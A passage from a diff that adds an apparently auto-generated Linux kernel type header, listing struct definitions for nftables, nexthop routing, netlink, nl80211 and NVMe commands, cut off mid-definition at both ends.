64; + long: 64; + long: 64; + long: 64; + long: 64; + const struct nft_object_ops *ops; + unsigned char data[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct nft_object_type; + +struct nft_object_ops { + void (*eval)(struct nft_object *, struct nft_regs *, const struct nft_pktinfo *); + unsigned int size; + int (*init)(const struct nft_ctx *, const struct nlattr * const *, struct nft_object *); + void (*destroy)(const struct nft_ctx *, struct nft_object *); + int (*dump)(struct sk_buff *, struct nft_object *, bool); + void (*update)(struct nft_object *, struct nft_object *); + const struct nft_object_type *type; +}; + +struct nft_object_type { + const struct nft_object_ops * (*select_ops)(const struct nft_ctx *, const struct nlattr * const *); + const struct nft_object_ops *ops; + struct list_head list; + u32 type; + unsigned int maxattr; + u8 family; + struct module *owner; + const struct nla_policy *policy; +}; + +struct nft_objref_map { + struct nft_set *set; + u8 sreg; + struct nft_set_binding binding; +}; + +struct nft_offload_reg { + u32 key; + u32 len; + u32 base_offset; + u32 offset; + u32 flags; + struct nft_data data; + struct nft_data mask; +}; + +struct nft_offload_ctx { + struct { + enum nft_offload_dep_type type; + __be16 l3num; + u8 protonum; + } dep; + unsigned int num_actions; + struct net *net; + struct nft_offload_reg regs[24]; +}; + +struct nft_offload_ethertype { + __be16 value; + __be16 mask; +}; + +struct nft_payload_set { + enum nft_payload_bases base: 8; + u8 offset; + u8 len; + u8 sreg; + u8 csum_type; + u8 csum_offset; + u8 csum_flags; +}; + +struct nft_payload_vlan_hdr { + __be16 h_vlan_proto; + __be16 h_vlan_TCI; +}; + +struct nft_pipapo_match; + +struct nft_pipapo { + struct nft_pipapo_match __attribute__((btf_type_tag("rcu"))) *match; + struct nft_pipapo_match *clone; + int width; + unsigned long last_gc; +}; + +struct nft_pipapo_elem { + struct nft_elem_priv priv; + struct nft_set_ext ext; +}; + +union nft_pipapo_map_bucket; + +struct nft_pipapo_field { + unsigned int rules; + unsigned int bsize; + unsigned int rules_alloc; + u8 groups; + u8 bb; + unsigned long *lt; + union nft_pipapo_map_bucket *mt; +}; + +union nft_pipapo_map_bucket { + struct { + u32 to; + u32 n; + }; + struct nft_pipapo_elem *e; +}; + +struct nft_pipapo_scratch; + +struct nft_pipapo_match { + u8 field_count; + unsigned int bsize_max; + struct nft_pipapo_scratch * __attribute__((btf_type_tag("percpu"))) *scratch; + struct callback_head rcu; + struct nft_pipapo_field f[0]; +}; + +struct nft_pipapo_scratch { + u8 map_index; + u32 align_off; + unsigned long map[0]; +}; + +struct nft_pktinfo { + struct sk_buff *skb; + const struct nf_hook_state *state; + u8 flags; + u8 tprot; + u16 fragoff; + u16 thoff; + u16 inneroff; +}; + +struct nft_range_expr { + struct nft_data data_from; + struct nft_data data_to; + u8 sreg; + u8 len; + enum nft_range_ops op: 8; +}; + +struct seqcount_rwlock { + seqcount_t seqcount; + rwlock_t *lock; +}; + +typedef struct seqcount_rwlock seqcount_rwlock_t; + +struct nft_rbtree { + struct rb_root root; + rwlock_t lock; + seqcount_rwlock_t count; + unsigned long last_gc; +}; + +struct nft_rbtree_elem { + struct nft_elem_priv priv; + struct rb_node node; + struct nft_set_ext ext; +}; + +struct nft_regs { + union { + u32 data[20]; + struct nft_verdict verdict; + }; +}; + +struct nft_regs_track { + struct { + const struct nft_expr *selector; + const struct nft_expr *bitwise; + u8 num_reg; + } regs[20]; + const struct nft_expr *cur; + const struct nft_expr *last; +}; + +struct nft_rhash { + struct rhashtable ht; + struct delayed_work gc_work; +}; + +struct nft_rhash_cmp_arg { + const struct nft_set *set; + const u32 *key; + u8 genmask; + u64 tstamp; +}; + +struct nft_rhash_ctx { + const struct nft_ctx ctx; + const struct nft_set *set; +}; + +struct nft_rhash_elem { + struct nft_elem_priv priv; + struct rhash_head node; + struct nft_set_ext ext; +}; + +struct nft_rt { + enum nft_rt_keys key: 8; + u8 dreg; +}; + +struct nft_rule { + struct list_head list; + u64 handle: 42; + u64 genmask: 2; + u64 dlen: 12; + u64 udata: 1; + unsigned char data[0]; +}; + +struct nft_rule_blob { + unsigned long size; + unsigned char data[0]; +}; + +struct nft_rule_dp { + u64 is_last: 1; + u64 dlen: 12; + u64 handle: 42; + long: 0; + unsigned char data[0]; +}; + +struct nft_rule_dp_last { + struct nft_rule_dp end; + struct callback_head h; + struct nft_rule_blob *blob; + const struct nft_chain *chain; +}; + +struct nft_rule_dump_ctx { + unsigned int s_idx; + char *table; + char *chain; + bool reset; +}; + +struct nft_set_ops; + +struct nft_set { + struct list_head list; + struct list_head bindings; + refcount_t refs; + struct nft_table *table; + possible_net_t net; + char *name; + u64 handle; + u32 ktype; + u32 dtype; + u32 objtype; + u32 size; + u8 field_len[16]; + u8 field_count; + u32 use; + atomic_t nelems; + u32 ndeact; + u64 timeout; + u32 gc_int; + u16 policy; + u16 udlen; + unsigned char *udata; + struct list_head pending_update; + long: 64; + long: 64; + long: 64; + long: 64; + const struct nft_set_ops *ops; + u16 flags: 13; + u16 dead: 1; + u16 genmask: 2; + u8 klen; + u8 dlen; + u8 num_exprs; + struct nft_expr *exprs[2]; + struct list_head catchall_list; + unsigned char data[0]; + long: 64; + long: 64; +}; + +struct nft_set_desc { + u32 ktype; + unsigned int klen; + u32 dtype; + unsigned int dlen; + u32 objtype; + unsigned int size; + u32 policy; + u32 gc_int; + u64 timeout; + u8 field_len[16]; + u8 field_count; + bool expr; +}; + +struct nft_set_iter { + u8 genmask; + enum nft_iter_type type: 8; + unsigned int count; + unsigned int skip; + int err; + int (*fn)(const struct nft_ctx *, struct nft_set *, const struct nft_set_iter *, struct nft_elem_priv *); +}; + +struct nft_set_dump_args { + const struct netlink_callback *cb; + struct nft_set_iter iter; + struct sk_buff *skb; + bool reset; +}; + +struct nft_set_dump_ctx { + const struct nft_set *set; + struct nft_ctx ctx; + bool reset; +}; + +struct nft_set_elem { + union { + u32 buf[16]; + struct nft_data val; + } key; + union { + u32 buf[16]; + struct nft_data val; + } key_end; + union { + u32 buf[16]; + struct nft_data val; + } data; + struct nft_elem_priv *priv; +}; + +struct nft_set_elem_catchall { + struct list_head list; + struct callback_head rcu; + struct nft_elem_priv *elem; +}; + +struct nft_set_elem_expr { + u8 size; + long: 0; + unsigned char data[0]; +}; + +struct nft_set_estimate { + u64 size; + enum nft_set_class lookup; + enum nft_set_class space; +}; + +struct nft_set_ext_type { + u8 len; + u8 align; +}; + +struct nft_set_ops { + bool (*lookup)(const struct net *, const struct nft_set *, const u32 *, const struct nft_set_ext **); + bool (*update)(struct nft_set *, const u32 *, struct nft_elem_priv * (*)(struct nft_set *, const struct nft_expr *, struct nft_regs *), const struct nft_expr *, struct nft_regs *, const struct nft_set_ext **); + bool (*delete)(const struct nft_set *, const u32 *); + int (*insert)(const struct net *, const struct nft_set *, const struct nft_set_elem *, struct nft_elem_priv **); + void (*activate)(const struct net *, const struct nft_set *, struct nft_elem_priv *); + struct nft_elem_priv * (*deactivate)(const struct net *, const struct nft_set *, const struct nft_set_elem *); + void (*flush)(const struct net *, const struct nft_set *, struct nft_elem_priv *); + void (*remove)(const struct net *, const struct nft_set *, struct nft_elem_priv *); + void (*walk)(const struct nft_ctx *, struct nft_set *, struct nft_set_iter *); + struct nft_elem_priv * (*get)(const struct net *, const struct nft_set *, const struct nft_set_elem *, unsigned int); + void (*commit)(struct nft_set *); + void (*abort)(const struct nft_set *); + u64 (*privsize)(const struct nlattr * const *, const struct nft_set_desc *); + bool (*estimate)(const struct nft_set_desc *, u32, struct nft_set_estimate *); + int (*init)(const struct nft_set *, const struct nft_set_desc *, const struct nlattr * const *); + void (*destroy)(const struct nft_ctx *, const struct nft_set *); + void (*gc_init)(const struct nft_set *); + unsigned int elemsize; +}; + +struct nft_set_type { + const struct nft_set_ops ops; + u32 features; +}; + +struct nft_stats { + u64 bytes; + u64 pkts; + struct u64_stats_sync syncp; +}; + +struct nft_table { + struct list_head list; + struct rhltable chains_ht; + struct list_head chains; + struct list_head sets; + struct list_head objects; + struct list_head flowtables; + u64 hgenerator; + u64 handle; + u32 use; + u16 family: 6; + u16 flags: 8; + u16 genmask: 2; + u32 nlpid; + char *name; + u16 udlen; + u8 *udata; + u8 validate_state; +}; + +struct nft_timeout { + u64 timeout; + u64 expiration; +}; + +struct nft_traceinfo { + bool trace; + bool nf_trace; + bool packet_dumped; + enum nft_trace_types type: 8; + u32 skbid; + const struct nft_base_chain *basechain; +}; + +struct nft_trans { + struct list_head list; + struct net *net; + struct nft_table *table; + int msg_type; + u32 seq; + u16 flags; + u8 report: 1; + u8 put_net: 1; +}; + +struct nft_trans_binding { + struct nft_trans nft_trans; + struct list_head binding_list; +}; + +struct nft_trans_chain { + struct nft_trans_binding nft_trans_binding; + struct nft_chain *chain; + char *name; + struct nft_stats __attribute__((btf_type_tag("percpu"))) *stats; + u8 policy; + bool update; + bool bound; + u32 chain_id; + struct nft_base_chain *basechain; + struct list_head hook_list; +}; + +struct nft_trans_elem { + struct nft_trans nft_trans; + struct nft_set *set; + struct nft_elem_priv *elem_priv; + u64 timeout; + u64 expiration; + u8 update_flags; + bool bound; +}; + +struct nft_trans_flowtable { + struct nft_trans nft_trans; + struct nft_flowtable *flowtable; + struct list_head hook_list; + u32 flags; + bool update; +}; + +struct nft_trans_gc { + struct list_head list; + struct net *net; + struct nft_set *set; + u32 seq; + u16 count; + struct nft_elem_priv *priv[256]; + struct callback_head rcu; +}; + +struct nft_trans_obj { + struct nft_trans nft_trans; + struct nft_object *obj; + struct nft_object *newobj; + bool update; +}; + +struct nft_trans_rule { + struct nft_trans nft_trans; + struct nft_rule *rule; + struct nft_chain *chain; + struct nft_flow_rule *flow; + u32 rule_id; + bool bound; +}; + +struct nft_trans_set { + struct nft_trans_binding nft_trans_binding; + struct list_head list_trans_newset; + struct nft_set *set; + u32 set_id; + u32 gc_int; + u64 timeout; + bool update; + bool bound; + u32 size; +}; + +struct nft_trans_table { + struct nft_trans nft_trans; + bool update; +}; + +struct nft_userdata { + u8 len; + unsigned char data[0]; +}; + +struct nft_xt_match_priv { + void *info; +}; + +struct nftables_pernet { + struct list_head tables; + struct list_head commit_list; + struct list_head commit_set_list; + struct list_head binding_list; + struct list_head module_list; + struct list_head notify_list; + struct mutex commit_mutex; + u64 table_handle; + u64 tstamp; + unsigned int base_seq; + unsigned int gc_seq; + u8 validate_state; +}; + +struct nftnl_skb_parms { + bool report; +}; + +struct nfulnl_instance { + struct hlist_node hlist; + spinlock_t lock; + refcount_t use; + unsigned int qlen; + struct sk_buff *skb; + struct timer_list timer; + struct net *net; + netns_tracker ns_tracker; + struct user_namespace *peer_user_ns; + u32 peer_portid; + unsigned int flushtimeout; + unsigned int nlbufsiz; + unsigned int qthreshold; + u_int32_t copy_range; + u_int32_t seq; + u_int16_t group_num; + u_int16_t flags; + u_int8_t copy_mode; + struct callback_head rcu; +}; + +struct nfulnl_msg_config_cmd { + __u8 command; +}; + +struct nfulnl_msg_config_mode { + __be32 copy_range; + __u8 copy_mode; + __u8 _pad; +} __attribute__((packed)); + +struct nfulnl_msg_packet_hdr { + __be16 hw_protocol; + __u8 hook; + __u8 _pad; +}; + +struct nfulnl_msg_packet_hw { + __be16 hw_addrlen; + __u16 _pad; + __u8 hw_addr[8]; +}; + +struct nfulnl_msg_packet_timestamp { + __be64 sec; + __be64 usec; +}; + +struct nh_config { + u32 nh_id; + u8 nh_family; + u8 nh_protocol; + u8 nh_blackhole; + u8 nh_fdb; + u32 nh_flags; + int nh_ifindex; + struct net_device *dev; + union { + __be32 ipv4; + struct in6_addr ipv6; + } gw; + struct nlattr *nh_grp; + u16 nh_grp_type; + u16 nh_grp_res_num_buckets; + unsigned long nh_grp_res_idle_timer; + unsigned long nh_grp_res_unbalanced_timer; + bool nh_grp_res_has_num_buckets; + bool nh_grp_res_has_idle_timer; + bool nh_grp_res_has_unbalanced_timer; + bool nh_hw_stats; + struct nlattr *nh_encap; + u16 nh_encap_type; + u32 nlflags; + struct nl_info nlinfo; +}; + +struct nh_dump_filter { + u32 nh_id; + int dev_idx; + int master_idx; + bool group_filter; + bool fdb_filter; + u32 res_bucket_nh_id; + u32 op_flags; +}; + +struct nh_grp_entry_stats; + +struct nh_grp_entry { + struct nexthop *nh; + struct nh_grp_entry_stats __attribute__((btf_type_tag("percpu"))) *stats; + u16 weight; + union { + struct { + atomic_t upper_bound; + } hthr; + struct { + struct list_head uw_nh_entry; + u16 count_buckets; + u16 wants_buckets; + } res; + }; + struct list_head nh_list; + struct nexthop *nh_parent; + u64 packets_hw; +}; + +struct nh_res_table; + +struct nh_group { + struct nh_group *spare; + u16 num_nh; + bool is_multipath; + bool hash_threshold; + bool resilient; + bool fdb_nh; + bool has_v4; + bool hw_stats; + struct nh_res_table __attribute__((btf_type_tag("rcu"))) *res_table; + struct nh_grp_entry nh_entries[0]; +}; + +struct nh_grp_entry_stats { + u64_stats_t packets; + struct u64_stats_sync syncp; +}; + +struct nh_info { + struct hlist_node dev_hash; + struct nexthop *nh_parent; + u8 family; + bool reject_nh; + bool fdb_nh; + union { + struct fib_nh_common fib_nhc; + struct fib_nh fib_nh; + struct fib6_nh fib6_nh; + }; +}; + +struct nh_notifier_single_info { + struct net_device *dev; + u8 gw_family; + union { + __be32 ipv4; + struct in6_addr ipv6; + }; + u32 id; + u8 is_reject: 1; + u8 is_fdb: 1; + u8 has_encap: 1; +}; + +struct nh_notifier_grp_entry_info { + u16 weight; + struct nh_notifier_single_info nh; +}; + +struct nh_notifier_grp_hw_stats_entry_info { + u32 id; + u64 packets; +}; + +struct nh_notifier_grp_hw_stats_info { + u16 num_nh; + bool hw_stats_used; + struct nh_notifier_grp_hw_stats_entry_info stats[0]; +}; + +struct nh_notifier_grp_info { + u16 num_nh; + bool is_fdb; + bool hw_stats; + struct nh_notifier_grp_entry_info nh_entries[0]; +}; + +struct nh_notifier_res_table_info; + +struct nh_notifier_res_bucket_info; + +struct nh_notifier_info { + struct net *net; + struct netlink_ext_ack *extack; + u32 id; + enum nh_notifier_info_type type; + union { + struct nh_notifier_single_info *nh; + struct nh_notifier_grp_info *nh_grp; + struct nh_notifier_res_table_info *nh_res_table; + struct nh_notifier_res_bucket_info *nh_res_bucket; + struct nh_notifier_grp_hw_stats_info *nh_grp_hw_stats; + }; +}; + +struct nh_notifier_res_bucket_info { + u16 bucket_index; + unsigned int idle_timer_ms; + bool force; + struct nh_notifier_single_info old_nh; + struct nh_notifier_single_info new_nh; +}; + +struct nh_notifier_res_table_info { + u16 num_nh_buckets; + bool hw_stats; + struct nh_notifier_single_info nhs[0]; +}; + +struct nh_res_bucket { + struct nh_grp_entry __attribute__((btf_type_tag("rcu"))) *nh_entry; + atomic_long_t used_time; + unsigned long migrated_time; + bool occupied; + u8 nh_flags; +}; + +struct nh_res_table { + struct net *net; + u32 nhg_id; + struct delayed_work upkeep_dw; + struct list_head uw_nh_entries; + unsigned long unbalanced_since; + u32 idle_timer; + u32 unbalanced_timer; + u16 num_nh_buckets; + struct nh_res_bucket nh_buckets[0]; +}; + +struct nhmsg { + unsigned char nh_family; + unsigned char nh_scope; + unsigned char nh_protocol; + unsigned char resvd; + unsigned int nh_flags; +}; + +struct rfd { + __le16 status; + __le16 command; + __le32 link; + __le32 rbd; + __le16 actual_size; + __le16 size; +}; + +struct param_range { + u32 min; + u32 max; + u32 count; +}; + +struct params { + struct param_range rfds; + struct param_range cbs; +}; + +struct rx; + +struct nic { + u32 msg_enable; + struct net_device *netdev; + struct pci_dev *pdev; + u16 (*mdio_ctrl)(struct nic *, u32, u32, u32, u16); + long: 64; + long: 64; + long: 64; + long: 64; + struct rx *rxs; + struct rx *rx_to_use; + struct rx *rx_to_clean; + struct rfd blank_rfd; + enum ru_state ru_running; + long: 64; + long: 64; + spinlock_t cb_lock; + spinlock_t cmd_lock; + struct csr___2 *csr; + enum scb_cmd_lo cuc_cmd; + unsigned int cbs_avail; + struct napi_struct napi; + struct cb *cbs; + struct cb *cb_to_use; + struct cb *cb_to_send; + struct cb *cb_to_clean; + __le16 tx_command; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + enum { + ich = 1, + promiscuous = 2, + multicast_all = 4, + wol_magic = 8, + ich_10h_workaround = 16, + } flags; + enum mac mac; + enum phy phy; + struct params params; + struct timer_list watchdog; + struct mii_if_info mii; + struct work_struct tx_timeout_task; + enum loopback loopback; + struct mem *mem; + dma_addr_t dma_addr; + struct dma_pool *cbs_pool; + dma_addr_t cbs_dma_addr; + u8 adaptive_ifs; + u8 tx_threshold; + u32 tx_frames; + u32 tx_collisions; + u32 tx_deferred; + u32 tx_single_collisions; + u32 tx_multiple_collisions; + u32 tx_fc_pause; + u32 tx_tco_frames; + u32 rx_fc_pause; + u32 rx_fc_unsupported; + u32 rx_tco_frames; + u32 rx_short_frame_errors; + u32 rx_over_length_errors; + u16 eeprom_wc; + __le16 eeprom[256]; + spinlock_t mdio_lock; + const struct firmware *fw; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct nl80211_bss_select_rssi_adjust { + __u8 band; + __s8 delta; +}; + +struct nl80211_pattern_support { + __u32 max_patterns; + __u32 min_pattern_len; + __u32 max_pattern_len; + __u32 max_pkt_offset; +}; + +struct nl80211_coalesce_rule_support { + __u32 max_rules; + struct nl80211_pattern_support pat; + __u32 max_delay; +}; + +struct nl80211_dump_wiphy_state { + s64 filter_wiphy; + long start; + long split_start; + long band_start; + long chan_start; + long capa_start; + bool split; +}; + +struct nl80211_mlme_event { + enum nl80211_commands cmd; + const u8 *buf; + size_t buf_len; + int uapsd_queues; + const u8 *req_ies; + size_t req_ies_len; + bool reconnect; +}; + +struct nl80211_sta_flag_update { + __u32 mask; + __u32 set; +}; + +struct nl80211_txrate_he { + __u16 mcs[8]; +}; + +struct nl80211_txrate_vht { + __u16 mcs[8]; +}; + +struct nl80211_vendor_cmd_info { + __u32 vendor_id; + __u32 subcmd; +}; + +struct nl80211_wowlan_tcp_data_token_feature { + __u32 min_len; + __u32 max_len; + __u32 bufsize; +}; + +struct nl_pktinfo { + __u32 group; +}; + +struct rhashtable_walker { + struct list_head list; + struct bucket_table *tbl; +}; + +struct rhashtable_iter { + struct rhashtable *ht; + struct rhash_head *p; + struct rhlist_head *list; + struct rhashtable_walker walker; + unsigned int slot; + unsigned int skip; + bool end_of_table; +}; + +struct nl_seq_iter { + struct seq_net_private p; + struct rhashtable_iter hti; + int link; +}; + +struct nla_bitfield32 { + __u32 value; + __u32 selector; +}; + +struct nla_policy { + u8 type; + u8 validation_type; + u16 len; + union { + u16 strict_start_type; + const u32 bitfield32_valid; + const u32 mask; + const char *reject_message; + const struct nla_policy *nested_policy; + const struct netlink_range_validation *range; + const struct netlink_range_validation_signed *range_signed; + struct { + s16 min; + s16 max; + }; + int (*validate)(const struct nlattr *, struct netlink_ext_ack *); + }; +}; + +struct nlattr { + __u16 nla_len; + __u16 nla_type; +}; + +struct nlmsghdr { + __u32 nlmsg_len; + __u16 nlmsg_type; + __u16 nlmsg_flags; + __u32 nlmsg_seq; + __u32 nlmsg_pid; +}; + +struct nlmsgerr { + int error; + struct nlmsghdr msg; +}; + +struct nls_table { + const char *charset; + const char *alias; + int (*uni2char)(wchar_t, unsigned char *, int); + int (*char2uni)(const unsigned char *, int, wchar_t *); + const unsigned char *charset2lower; + const unsigned char *charset2upper; + struct module *owner; + struct nls_table *next; +}; + +struct nmi_desc { + raw_spinlock_t lock; + struct list_head head; +}; + +struct nmi_stats { + unsigned int normal; + unsigned int unknown; + unsigned int external; + unsigned int swallow; + unsigned long recv_jiffies; + unsigned long idt_seq; + unsigned long idt_nmi_seq; + unsigned long idt_ignored; + atomic_long_t idt_calls; + unsigned long idt_seq_snap; + unsigned long idt_nmi_seq_snap; + unsigned long idt_ignored_snap; + long idt_calls_snap; +}; + +typedef int (*nmi_handler_t)(unsigned int, struct pt_regs *); + +struct nmiaction { + struct list_head list; + nmi_handler_t handler; + u64 max_duration; + unsigned long flags; + const char *name; +}; + +struct node { + struct device dev; + struct list_head access_list; +}; + +struct node_access_nodes { + struct device dev; + struct list_head list_node; + unsigned int access; +}; + +struct node_attr { + struct device_attribute attr; + enum node_states state; +}; + +struct node_groups { + unsigned int id; + union { + unsigned int ngroups; + unsigned int ncpus; + }; +}; + +struct node_hstate { + struct kobject *hugepages_kobj; + struct kobject *hstate_kobjs[2]; +}; + +struct node_memory_type_map { + struct memory_dev_type *memtype; + int map_count; +}; + +struct nodemask_scratch { + nodemask_t mask1; + nodemask_t mask2; +}; + +struct nosave_region { + struct list_head list; + unsigned long start_pfn; + unsigned long end_pfn; +}; + +struct notification { + atomic_t requests; + u32 flags; + u64 next_id; + struct list_head notifications; +}; + +struct ns_get_path_bpf_map_args { + struct bpf_offloaded_map *offmap; + struct bpf_map_info *info; +}; + +struct ns_get_path_bpf_prog_args { + struct bpf_prog *prog; + struct bpf_prog_info *info; +}; + +struct ns_get_path_task_args { + const struct proc_ns_operations *ns_ops; + struct task_struct *task; +}; + +struct uts_namespace; + +struct time_namespace; + +struct nsproxy { + refcount_t count; + struct uts_namespace *uts_ns; + struct ipc_namespace *ipc_ns; + struct mnt_namespace *mnt_ns; + struct pid_namespace *pid_ns_for_children; + struct net *net_ns; + struct time_namespace *time_ns; + struct time_namespace *time_ns_for_children; + struct cgroup_namespace *cgroup_ns; +}; + +struct nsset { + unsigned int flags; + struct nsproxy *nsproxy; + struct fs_struct *fs; + const struct cred *cred; +}; + +struct nt_partition_info { + u32 xlink_enabled; + u32 target_part_low; + u32 target_part_high; + u32 reserved; +}; + +struct ntb_ctrl_regs { + u32 partition_status; + u32 partition_op; + u32 partition_ctrl; + u32 bar_setup; + u32 bar_error; + u16 lut_table_entries; + u16 lut_table_offset; + u32 lut_error; + u16 req_id_table_size; + u16 req_id_table_offset; + u32 req_id_error; + u32 reserved1[7]; + struct { + u32 ctl; + u32 win_size; + u64 xlate_addr; + } bar_entry[6]; + struct { + u32 win_size; + u32 reserved[3]; + } bar_ext_entry[6]; + u32 reserved2[192]; + u32 req_id_table[512]; + u32 reserved3[256]; + u64 lut_entry[512]; +}; + +struct ntb_info_regs { + u8 partition_count; + u8 partition_id; + u16 reserved1; + u64 ep_map; + u16 requester_id; + u16 reserved2; + u32 reserved3[4]; + struct nt_partition_info ntp_info[48]; +} __attribute__((packed)); + +struct numa_maps { + unsigned long pages; + unsigned long anon; + unsigned long active; + unsigned long writeback; + unsigned long mapcount_max; + unsigned long dirty; + unsigned long swapcache; + unsigned long node[1024]; +}; + +struct proc_maps_private { + struct inode *inode; + struct task_struct *task; + struct mm_struct *mm; + struct vma_iterator iter; + struct mempolicy *task_mempolicy; +}; + +struct numa_maps_private { + struct proc_maps_private proc_maps; + struct numa_maps md; +}; + +struct numa_memblk { + u64 start; + u64 end; + int nid; +}; + +struct numa_meminfo { + int nr_blks; + struct numa_memblk blk[2048]; +}; + +struct nvme_abort_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[9]; + __le16 sqid; + __u16 cid; + __u32 rsvd11[5]; +}; + +struct nvme_sgl_desc { + __le64 addr; + __le32 length; + __u8 rsvd[3]; + __u8 type; +}; + +struct nvme_keyed_sgl_desc { + __le64 addr; + __u8 length[3]; + __u8 key[4]; + __u8 type; +}; + +union nvme_data_ptr { + struct { + __le64 prp1; + __le64 prp2; + }; + struct nvme_sgl_desc sgl; + struct nvme_keyed_sgl_desc ksgl; +}; + +struct nvme_common_command { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __le32 cdw2[2]; + __le64 metadata; + union nvme_data_ptr dptr; + union { + struct { + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; + }; + struct { + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; + } cdws; + }; +}; + +struct nvme_rw_command { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __le32 cdw2; + __le32 cdw3; + __le64 metadata; + union nvme_data_ptr dptr; + __le64 slba; + __le16 length; + __le16 control; + __le32 dsmgmt; + __le32 reftag; + __le16 lbat; + __le16 lbatm; +}; + +struct nvme_identify { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[2]; + union nvme_data_ptr dptr; + __u8 cns; + __u8 rsvd3; + __le16 ctrlid; + __u8 rsvd11[3]; + __u8 csi; + __u32 rsvd12[4]; +}; + +struct nvme_features { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[2]; + union nvme_data_ptr dptr; + __le32 fid; + __le32 dword11; + __le32 dword12; + __le32 dword13; + __le32 dword14; + __le32 dword15; +}; + +struct nvme_create_cq { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 cqid; + __le16 qsize; + __le16 cq_flags; + __le16 irq_vector; + __u32 rsvd12[4]; +}; + +struct nvme_create_sq { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 sqid; + __le16 qsize; + __le16 sq_flags; + __le16 cqid; + __u32 rsvd12[4]; +}; + +struct nvme_delete_queue { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[9]; + __le16 qid; + __u16 rsvd10; + __u32 rsvd11[5]; +}; + +struct nvme_download_firmware { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[5]; + union nvme_data_ptr dptr; + __le32 numd; + __le32 offset; + __u32 rsvd12[4]; +}; + +struct nvme_format_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[4]; + __le32 cdw10; + __u32 rsvd11[5]; +}; + +struct nvme_dsm_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[2]; + union nvme_data_ptr dptr; + __le32 nr; + __le32 attributes; + __u32 rsvd12[4]; +}; + +struct nvme_write_zeroes_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2; + __le64 metadata; + union nvme_data_ptr dptr; + __le64 slba; + __le16 length; + __le16 control; + __le32 dsmgmt; + __le32 reftag; + __le16 lbat; + __le16 lbatm; +}; + +struct nvme_zone_mgmt_send_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __le32 cdw2[2]; + __le64 metadata; + union nvme_data_ptr dptr; + __le64 slba; + __le32 cdw12; + __u8 zsa; + __u8 select_all; + __u8 rsvd13[2]; + __le32 cdw14[2]; +}; + +struct nvme_zone_mgmt_recv_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __le64 rsvd2[2]; + union nvme_data_ptr dptr; + __le64 slba; + __le32 numd; + __u8 zra; + __u8 zrasf; + __u8 pr; + __u8 rsvd13; + __le32 cdw14[2]; +}; + +struct nvme_get_log_page_command { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[2]; + union nvme_data_ptr dptr; + __u8 lid; + __u8 lsp; + __le16 numdl; + __le16 numdu; + __u16 rsvd11; + union { + struct { + __le32 lpol; + __le32 lpou; + }; + __le64 lpo; + }; + __u8 rsvd14[3]; + __u8 csi; + __u32 rsvd15; +}; + +struct nvmf_common_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[35]; + __u8 ts[24]; +}; + +struct nvmf_connect_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[19]; + union nvme_data_ptr dptr; + __le16 recfmt; + __le16 qid; + __le16 sqsize; + __u8 cattr; + __u8 resv3; + __le32 kato; + __u8 resv4[12]; +}; + +struct nvmf_property_set_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[35]; + __u8 attrib; + __u8 resv3[3]; + __le32 offset; + __le64 value; + __u8 resv4[8]; +}; + +struct nvmf_property_get_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[35]; + __u8 attrib; + __u8 resv3[3]; + __le32 offset; + __u8 resv4[16]; +}; + +struct nvmf_auth_common_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[19]; + union nvme_data_ptr dptr; + __u8 resv3; + __u8 spsp0; + __u8 spsp1; + __u8 secp; + __le32 al_tl; + __u8 resv4[16]; +}; + +struct nvmf_auth_send_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[19]; + union nvme_data_ptr dptr; + __u8 resv3; + __u8 spsp0; + __u8 spsp1; + __u8 secp; + __le32 tl; + __u8 resv4[16]; +}; + +struct nvmf_auth_receive_command { + __u8 opcode; + __u8 resv1; + __u16 command_id; + __u8 fctype; + __u8 resv2[19]; + union nvme_data_ptr dptr; + __u8 resv3; + __u8 spsp0; + __u8 spsp1; + __u8 secp; + __le32 al; + __u8 resv4[16]; +}; + +struct nvme_dbbuf { + __u8 opcode; + __u8 flags; + __u16 command_id; + __u32 rsvd1[5]; + __le64 prp1; + __le64 prp2; + __u32 rsvd12[6]; +}; + +struct nvme_directive_cmd { + __u8 opcode; + __u8 flags; + __u16 command_id; + __le32 nsid; + __u64 rsvd2[2]; + union nvme_data_ptr dptr; + __le32 numd; + __u8 doper; + __u8 dtype; + __le16 dspec; + __u8 endir; + __u8 tdtype; + __u16 rsvd15; + __u32 rsvd16[3]; +}; + +struct nvme_command { + union { + struct nvme_common_command common; + struct nvme_rw_command rw; + struct nvme_identify identify; + struct nvme_features features; + struct nvme_create_cq create_cq; + struct 